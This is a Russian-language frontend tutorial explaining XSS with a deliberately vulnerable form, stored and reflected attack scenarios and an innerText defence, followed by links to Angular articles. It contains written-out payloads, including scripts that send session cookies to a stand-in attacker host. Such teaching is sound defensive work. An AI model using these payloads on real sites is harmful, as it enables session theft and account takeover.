Аббревиатура XSS расшифровывается как Cross-Site Scripting (межсайтовый скриптинг). Если особо не погружаться в детали, смысл атаки заключается во внедрении вредоносного кода в страницу. Атака не затрагивает серверную часть, но напрямую влияет на клиентскую — на пользователей уязвимого сервиса.

А какой код можно внедрить в страницу? У страницы же нет доступа к базе данных или другому серверному компоненту, где можно получить данные пользователей. Речь идёт о зловредном JavaScript-коде.

Вам хорошо известно: для выполнения JavaScript-кода на странице (в контексте фронтенда) необходимо разместить его между тегами <script></script>. Про этот способ мы рассказывали в первой главе учебника. Атака XSS в этом и заключается. Злоумышленник внедряет в страницу зловредный JavaScript-код. Пользователь переходит на эту страницу, код выполняется и конфиденциальные данные пользователя отправляются злоумышленнику.

Схема работы XSS

На практике это может выглядеть так. Представьте персональный блог, в котором все зарегистрированные пользователи могут оставлять комментарии к публикациям.

Всё работает прекрасно, пока не появляется пользователь, который хочет не просто обсуждать публикации, а украсть доступ к учётным записям других пользователей блога. Для этого злоумышленник в поле комментарий пишет какой-то текст, тег <script>, а в нём немного JavaScript-кода. Если не происходит никакой фильтрации, то после публикации такого комментария, код будет выполняться у всех пользователей, посетивших страницу.

А что опасного может быть в этом коде? Часто разработчики используют cookie для хранения идентификатора сессии пользователя. Что такое идентификатор? Это строка с уникальным набором символов, позволяющих отличить одного авторизованного пользователя от другого.

Зловредный код может прочитать это значение и передать на сервер злоумышленника при помощи AJAX-запроса. В этом и заключается смысл XSS-атаки. Собрав такие идентификаторы, злоумышленник может подставить их себе. Если разработчик не предусмотрел дополнительной защиты, то злоумышленник сможет войти в приложение под учётной записью пользователя.

Рассмотренный сценарий выше — один из самых популярных, но не единственный. При отсутствии фильтрации, можно выполнить любой JavaScript-код. Например, собрать все данные со страницы (при помощи банальных querySelector) или сделать другие деструктивные действия.

XSS на примере

Попробуем взглянуть на проблему с практической точки зрения. Создадим демонстрационное приложение и на реальном примере узнаем, что подразумевается под XSS. В качестве демонстрационного приложения сделаем простую форму для ввода имени. Пользователь вводит имя, отправляет форму, и в параграфе появляется текст с приветствием пользователя. Приложение максимально простое, но оно прекрасно проиллюстрирует проблему:

<form id="basic-form">
    <input id="user-name" type="text">
    <input type="submit" value="Отправить" placeholder="Пожалуйста, представьтесь">
    <p id="welcome-user"></p>
</form>

<script>
    'use strict';

    const submitFormHandler = (evt) => {
        evt.preventDefault();
        welcomeUserElement.innerHTML = `Привет, ${userNameElement.value}!`;
    }

    const formElement = document.querySelector(`#basic-form`);
    const welcomeUserElement = formElement.querySelector(`#welcome-user`);
    const userNameElement = formElement.querySelector(`#user-name`);

    formElement.addEventListener(`submit`, submitFormHandler);
</script>

Попробуйте открыть страницу в браузере и протестировать приложение. Убедитесь, что всё работает так, как и было запланировано.

В качестве теста мы ввели имя «Igor», и оно отобразилось в параграфе. Приложение работает так, как мы и ожидаем. Теперь давайте вместо имени введём на первый взгляд безобидную строку:

<img src="" onerror="alert('xss')">

Нажмите кнопку «Отправить». На этот раз в параграфе #welcome-user отобразится «Привет, !», но в довесок к этому вы увидите модальное окно с текстом «xss». Мы внедрили в страницу сторонний JavaScript-код. В примере он показывает бесполезное модальное окно, но вы понимаете, что он может делать намного больше. Выше мы обсуждали несколько негативных сценариев.

Рассмотрим ещё один пример и разберёмся, как выглядит внедрение XSS изнутри. Представим, что вы разрабатываете какой-нибудь форум любителей аквариумных рыбок. Пусть схематично его разметка выглядит так:

<h1>Здравствуйте, <span class="username">Обычный Пользователь</span>!</h1>
<article class="topic">
	<header class="topic-header">
		<h2>Разведение пираний в домашних условиях</h2>
	</header>
	<p class="topic-body">
		Всем привет. Я решил завести себе пираний.
Расскажите, какие плюсы, минусы, подводные камни.</p>
    <footer class="posted-by">
        От <span class="poster-name">Другой Пользователь</span>
    </footer>
</article>

Простая разметка — ничего необычного. Один из пользователей, который создал эту тему для обсуждения выбрал при регистрации необычное имя. Вот такое:

Другой пользователь</span><script>const username=document.querySelector('.username').textContent;const sessionCookie=document.cookie.match(/session-token=([^;$]+)/)[1];fetch('http:/www.malicious-site.com',{method: 'post',body:JSON.stringify({username,sessionCookie})});</script>

Что произойдёт, если другой участник обсуждения просмотрит эту тему? Разметка страницы начнёт выглядеть следующим образом (отформатировано для читабельности):

<h1>Здравствуйте, <span class="username">Обычный Пользователь</span>!</h1>
<article class="topic">
	<header class="topic-header">
		<h2>Разведение пираний в домашних условиях</h2>
	</header>
	<p class="topic-body">
		Всем привет. Я решил завести себе пираний.
Расскажите, какие плюсы, минусы, подводные камни.</p>
    <footer class="posted-by">
        От <span class="poster-name">Другой Пользователь</span>
        <script>
            const username = document.querySelector(`.username`).textContent;
            const sessionCookie = document.cookie.match(/session-token=([^;$]+)/)[1];
            fetch(`http:/www.malicious-site.com`, {
                method: `post`,
                body: JSON.stringify({username, sessionCookie})
            });
        </script>
    </footer>
</article>

Визуально на странице ничего не изменится. Всё то же безумное объявление, но это лишь на первый взгляд. Экзотичное имя пользователя (то самое с кодом) содержало закрывающий тег </span>. Выходит, что на этом описание элемента с именем пользователя заканчивается. За ним следует тег <script> c JavaScript кодом, который браузер вынужден исполнить.

Выполнение этого кода приведёт к отправке идентификатора сессии на сервер злоумышленника (www.malicious-site.com). Получив идентификатор, злоумышленник сможет подставить его себе и войти в сервис от имени пользователя. Дальше можно изменить профиль (если сервис позволяет это сделать без ввода пароля) и сделать другие деструктивные действия.

Виды XSS

Существует два основных вида XSS-атак. Первый — хранимые XSS (Stored XSS). Его мы разобрали в предыдущем примере. Один пользователь вводит зловредные данные, которые сохраняются на сервере и оттуда попадают на страницу другого пользователя.

Другой вид — отражённые XSS (Reflected XSS). Атаки этого типа выглядят иначе. Допустим, на форуме любителей рыбок есть поиск по сообщениям. Маршрут на страницу с выдачей результатов может выглядеть так:

http://www.aquarium-forum.com/search?q=guppy

При переходе пользователь увидит страницу примерно с такой разметкой:

<div class="query">
	Результаты поиска по запросу <span class="query-text">guppy</span>:
</div>
<div class="result">
	<!-- результаты поиска -->
</div>

Ничего необычного в этой разметке нет, но представьте, что один из пользователей форума любителей рыбок получит на свой email провокационное письмо: «Шокирующая правда о гуппи! Рыбки не переносят… (продолжение по ссылке)». Пользователь на эмоциях переходит по ней (он видит, что она ведёт на его любимый форум) и видит вполне ожидаемую страницу с результатами поиска. Только без шокирующих новостей, но идентификатор его сессии уже улетел злоумышленнику. Ссылка в письме выглядела так:

http://www.aquarium-forum.com/search?q=guppy<script>fetch('http:/www.malicious-site.com?cookie='+document.cookie)</script>

После перехода по ссылке, разметка страницы преобразилась и обзавелась одной строкой кода на JavaScript. Визуально это незаметно, но браузер выполнит код, который не предполагал разработчик:

<div class="query">
	Результаты поиска по запросу <span class="query-text">guppy
<script>
	fetch('http:/www.malicious-site.com?cookie=' + document.cookie);
</script>
</span>:
</div>
<div class="result">
	<!-- результаты поиска -->
</div>

Защита от XSS

Основная причина появления XSS заключается в недостаточной фильтрации входных данных. Мы это видели на двух примерах. Давайте подумаем, как бороться с этой проблемой. Начнём с простого: не стоит вставлять пользовательские данные в свойство innerHTML.

Если пользователь пришлёт разметку с кодом на JavaScript, то браузер интерпретирует код и станут возможны сценарии, о которых говорили выше. Что же делать? Самый простой вариант: вместо innerHTML применять innerText. Тогда содержимое будет отображаться как простой текст.

Резюме

XSS атаки представляют серьёзную угрозу для веб-приложений. В этом разделе мы рассмотрели теорию и один из самых простых вариантов защиты. Конечно, это решение нельзя назвать серебряной пулей. К вопросам безопасности следует подходить комплексно: как на клиенте, так и на сервере. Запомните главное правило: любые данные, полученные от пользователя, по умолчанию нельзя считать безопасными.

Ещё по теме


«Доктайп» — журнал о фронтенде. Читайте, слушайте и учитесь с нами.

ТелеграмПодкастБесплатные учебники

Читать дальше

FormControl и FormGroup в Angular

FormControl и FormGroup в Angular

Если вы разрабатываете веб-приложение, вам рано или поздно придётся собирать данные от пользователя. К счастью, реактивные формы в Angular позволяют делать это без лишней сложности — без нагромождения директив и с минимальным количеством шаблонного кода. Более того, их просто валидировать, так что можно обойтись даже без end-to-end тестов.

Говоря проще, form control’ы в Angular дают полный контроль разработчику — ничего не происходит автоматически, и каждое решение по вводу и управлению принимается явно и осознанно. В этом руководстве мы покажем, как объединять form control’ы в form group’ы, чтобы структурировать форму и упростить доступ к её элементам — как к логическим блокам. Чтобы лучше понять, как работают form group’ы в Angular, мы шаг за шагом соберём реактивную форму.

Для работы с примером скачайте стартовый проект с GitHub и откройте его в VS Code. Если ещё не обновляли Angular, поставьте актуальную на момент написания версию — Angular v18.

Читать дальше
JS
  • 1 июня 2025
AOT против JIT-компилятора: что лучше для разработки на Angular?

AOT против JIT-компилятора: что лучше для разработки на Angular?

Angular — один из самых популярных фреймворков для фронтенда — предлагает два подхода к компиляции: предварительная компиляция и динамическая компиляция во время выполнения. Оба метода играют важную роль в оптимизации приложений на Angular и повышении их производительности. В этом материале мы рассмотрим различия между ними, их преимущества и разберёмся, когда стоит использовать каждый из подходов.

Читать дальше
JS
  • 25 мая 2025
Динамические формы в Angular 19: пошаговое руководство

Динамические формы в Angular 19: пошаговое руководство

Формы — неотъемлемая часть большинства веб-приложений: будь то регистрация, ввод данных или опросы. Модуль реактивных форм в Angular отлично подходит для создания статичных форм, но во многих случаях требуется, чтобы форма могла динамически адаптироваться в зависимости от действий пользователя или внешних данных.

В этой статье мы рассмотрим, как создавать динамические формы с использованием автономных компонентов в Angular 19, применяя модульный подход, который избавляет от необходимости использовать традиционные модули Angular. В сопроводительном репозитории на GitHub для оформления форм используется Tailwind CSS, однако в статье внимание сосредоточено исключительно на логике динамических форм. Tailwind и связанные с ним настройки намеренно не включены в примеры, чтобы сохранить акцент на основной теме.

Читать дальше
JS
  • 25 мая 2025
Как обнаружить изменения в Angular: пошаговая инструкция

Как обнаружить изменения в Angular: пошаговая инструкция

Как разработчики на Angular, мы нередко задумываемся, как фреймворк отслеживает изменения в данных и затем отображает их во вьюхе. Этот процесс называется стратегией обнаружения изменений в Angular. В этом материале мы разберёмся, как это работает, и научимся выбирать подходящую стратегию для разных сценариев.

Читать дальше
JS
  • 24 мая 2025
Компоненты в Angular 18: пошаговое руководство

Компоненты в Angular 18: пошаговое руководство

Angular развивается стремительно, и с выходом версии 18 появились новые возможности, которые разработчики могут использовать в своей работе. Одним из ключевых изменений в Angular 18 стало удаление традиционного файла app.module.ts — ему на смену пришли standalone-компоненты. Если вы только начинаете работать с Angular или переходите с более ранней версии, это пошаговое руководство поможет вам разобраться в базовых принципах компонентов в Angular 18. Независимо от вашего уровня — новичок вы или опытный разработчик — этот туториал покажет, как создавать, управлять и эффективно использовать компоненты в Angular.

Читать дальше
JS
  • 19 мая 2025
Полное руководство по Angular @if

Полное руководство по Angular @if

Одно из самых заметных нововведений в Angular — это встроенный синтаксис для управляющих конструкций, который появился в версии 17. Он решает одну из самых частых задач, с которой сталкивается каждый разработчик: показывать или скрывать элементы на странице в зависимости от условия. Раньше для этого использовали привычную структурную директиву *ngIf. Теперь у нас есть более современная альтернатива — синтаксис @if, часть нового подхода к управлению шаблоном.

В этом гайде мы сравним оба варианта, разберёмся, чем @if лучше, и покажем, как можно перейти на него автоматически. Также поговорим об одной распространённой ошибке — о том, как не стоит использовать @if вместе с пайпом async.

Читать дальше
JS
  • 18 мая 2025
Модули Angular для организации кода и ленивой загрузки

Модули Angular для организации кода и ленивой загрузки

Модули — один из ключевых инструментов Angular для построения масштабируемых и поддерживаемых приложений. В этой статье мы подробно рассмотрим:

  • что такое модули в Angular;
  • зачем они нужны;
  • как их использовать для структурирования кода;
  • как реализовать «ленивую» загрузку модулей;
  • и чем отличаются Feature, Core и Shared модули.

Если вы только начинаете изучать Angular или хотите углубить свои знания, эта статья поможет вам лучше понять, как правильно организовать архитектуру Angular-приложения.

Читать дальше
JS
  • 12 мая 2025
Навигация в Angular: RouterLink, Router.navigate и Router.navigateByUrl

Навигация в Angular: RouterLink, Router.navigate и Router.navigateByUrl

Директива RouterLink позволяет настраивать переходы между маршрутами прямо в шаблоне Angular. А методы Router.navigate и Router.navigateByUrl, доступные в классе Router, дают возможность управлять навигацией программно — прямо из кода компонентов.

Разберёмся, как работают RouterLink, Router.navigate и Router.navigateByUrl.

Читать дальше
JS
  • 11 мая 2025
Полное руководство по Lazy Loading в Angular

Полное руководство по Lazy Loading в Angular

Если вы создаёте большое Angular-приложение, вам наверняка важно, чтобы оно загружалось быстро. Представьте, что вы устраиваете вечеринку и хотите подавать закуски не сразу, а по мере прихода гостей, чтобы не перегрузить кухню. «Ленивая» загрузка в Angular работает примерно так же: вместо того чтобы загружать всё приложение целиком сразу, вы подгружаете только те части, которые нужны — и только когда они нужны.

В этом пошаговом руководстве мы разберём, как реализовать lazy loading в Angular.

Читать дальше
JS
  • 10 мая 2025
Все (ну или почти все) способы автоматически перезагрузить страницу раз в N секунд

Все (ну или почти все) способы автоматически перезагрузить страницу раз в N секунд

Иногда страницу нужно просто перезагрузить. Полностью. Не компонент, не блок, а именно целиком. Без обсуждений, без лишней логики. Например, чтобы:

  • экран с результатами обновлялся каждые 10 секунд;
  • интерфейс на стенде показывал последние данные без кнопок;
  • страницы в интранете не устаревали, пока никто не смотрит.

Это можно сделать в любой связке: HTML, JS, Python, PHP, Go, Node.js — не важно. Ну и если говорить совсем прямо, то совсем разных способов всего три, а остальное просто вариации.

Читать дальше
JS
  • 5 мая 2025